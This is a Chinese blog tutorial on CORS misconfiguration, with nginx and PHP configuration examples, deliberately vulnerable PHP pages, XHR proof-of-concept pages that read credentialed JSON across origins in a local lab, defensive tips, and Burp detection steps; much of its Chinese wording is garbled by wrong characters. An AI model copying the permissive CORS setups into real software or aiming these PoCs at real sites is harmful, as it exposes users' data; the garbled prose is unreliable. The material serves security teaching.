共计 5560 个字符,预计需要花费 14 分钟才能阅读完成。
0x1 CORS 机制
CORS 全名 跨域资源共享(Cross-Origin-Resourece-sharing), 该机制次要是解决浏览器同源策略所带来的不便,使不同域的利用可能忽视同源策略,进行信息传递。
援用一张图能很好地阐明 CORS 机制的作用
0x2 CORS 机制实现
那么这个机制是怎么发挥作用的呢?
CORS 的规范定义是: 通过设置 http 头部字段,让客户端有资格跨域拜访资源。通过服务器的验证和受权之后,浏览器有责任反对这些 http 头部字段并且确保可能正确的施加限度。
为了更好了解这个过程,咱们首先理解下相干的 http 头部字段
申请头
阐明
响应头
阐明
那么这个机制, 具体能够总结为上面这个图片
所有的申请实际上都曾经收回了,只不过浏览器解析的时候依据返回的 http 头部字段来选择性拦挡了而已。
0x3 如何配置 CORS
0x3.1 配置中间件 nginx 实现 CORS 跨域
这个点我就从网上经典的例子来找的,其实默认这样设置存在很多问题,0x4 的时候我会讲相应的攻打思路
我过后 google 了一下搜寻 nginx 配置跨域 CORS)
经典配置一:
location / {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {return 204;}
}
经典配置二:
location / {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
比拟正当的配置计划(加上白名单查看):
location / {
# 查看域名后缀 这里进行了查看
if ($http_origin ~ .test.com) {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
# options 申请不转给后端,间接返回 204
}
0x3.2 单服务 PHP 简略管制头部形式
当年某一个 SSRF 的破绽,我就是天真的没有设置跨域申请,不相熟,导致失落了一血,十分遗憾哇。
1. 容许所有源
<?php
header("Access-Control-Allow-Origin: *");
?>
2. 容许来自特定源的拜访
<?php
header('Access-Control-Allow-Origin:'.$_SERVER['HTTP_ORIGIN']);
?>
3. 配置多个拜访源
<?php
$allowed_origins = array(
"http://www.example.com" ,
"http://app.example.com" ,
"http://cms.example.com" ,
);
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){@header("Access-Control-Allow-Origin:" . $_SERVER['HTTP_ORIGIN']);
}
?>
0x3.3 …
还有相当多的形式, 具体能够参考 Nginx 通过 CORS 实现跨域
0x4 攻打 CORS 的思路
0x4.1 一次失败的例子
这里我本人写一个简略的存在 CORS 破绽的服务为例子展现如何对此进行攻打(其实没方法攻打)。
<?php
header("Access-Control-Allow-Origin: *");
$value = "mySecretIs123456";
setcookie("pass",$value, time()+3600*24);
?>
<!DOCTYPE html>
<html>
<head>
<script>
window.onload = function(){document.body.innerHTML = document.cookie;}
</script>
</head>
<body>
</body>
</html>
能够看到咱们间接把 cookie 回显给了页面, 过后我开掘腾讯的时候就遇到这样的一个例子
然而没想着怎么去利用, 而后给疏忽了,不过过后如同也没开 cors 配置,毕竟是个 test 站点。
回到正题上,咱们该怎么对此进行攻打呢。
这里咱们编辑下/etc/hosts
, 减少两条解析记录
127.0.0.1 victim.com
26 127.0.0.1 attack.com
exp.php:
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.send();}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
而后咱们伪装受害者去拜访下:
后果返回的是 html 的源代码,没方法获取 dom 之后的后果, 这其实也在我的意料之中因为浏览器不会去解析资源内容再返回,欢送徒弟们谈下这类型的信息透露有啥利用的思路。
0x4.2 API 接口信息获取
这里分为两种状况:
第一种是无需 cookie 的,这种个别能够利用在比方限度了 ip 的 waf,让管理员去申请敏感页面获取相应资源。
破绽代码如下:
apiVuln.php
<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info); //json_encode 对变量进行 JSON 编码
攻打代码如下:
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);
xhttp.send();}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
第二种是发送 cookie 利用登陆信息,而后申请鉴权的 api 获取敏感数据。
vuln.php
<?php
header("Access-Control-Allow-Origin: *");
session_start();
if(@$_SESSION["user"] == "admin"){
// 输入敏感信息
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info);
}else
{
echo "login fail!";
echo '<a href="login.php"> 登陆 </a>';
}
?>
login.php
<?php
session_start();
$_SESSION["user"]="admin";
header("Location:vuln.php");
这里咱们筹备下两个页面, 当咱们尝试利用这样的 poc 来攻打的话
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.withCredentials = false;
xhttp.send();}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
咱们拜访 http://victim.com:8888/cors/vuln.php, 而后点击登陆获取到登陆信息,而后咱们伪装成受害者点击http://attack.com:8888/cors/exp.php
能够看到这个接口是须要登陆信息的
然而如果咱们批改 vuln.php
成这样子呢
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
能够看到 cookie
确实发送了, 也返回了对应的 json 数据,然而却没有被脚本接管到,因为脚本接管到数据得先问下浏览器反对不,咱们能够看下 console 就能够发现被禁止的起因了,因为
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
这样开启的跨域必定是不平安的,所以浏览器间接 ban 掉了这种配置形式。
这样也是不行的,咱们再尝试批改成:
header("Access-Control-Allow-Origin: http://attack.com:8888");
header("Access-Control-Allow-Credentials: true");
这样便能够了获取到敏感信息了。
最初小结一下:
要害判断是否存在 cors 破绽
私有资源:Access-Control-Allow-Origin:*
受权信息:Access-Control-Allow-Credentials: true
同时 Access-Control-Allow-Origin:
不为 *
0x5 CORS 进攻思路
- 白名单
- 规范化正则表达式
- 只容许平安的协定如 https
- 防止应用 Access-Control-Allow-Credentials 为 True
- «应用框架的时候留神查看相干文档的用法, 依据下面规定进行更正。
0x6 高效开掘 CORS 破绽的探讨
如何无效的探测 cors 破绽呢,最简略的就是咱们伪造一个 xhr 的申请去测试下能获取信息不,xhr
申请有一个很显著的特色字段:Origin
, 这个也是浏览器判断是否同源的依据。
burp 是反对简略的 cors 破绽扫描的
然而误报率很高,而且也须要本人去手工验证,这里我比拟举荐
就是咱们本人寻找一些要害的 api 接口,而后咱们让申请主动增加上 Origin
而后咱们在看返回包,来判断这样的话岂但精确而且很不便。
这个实现咱们能够用 burp 的替换性能来实现
proxy->options->Match and Replace->Add
勾选上这个即可。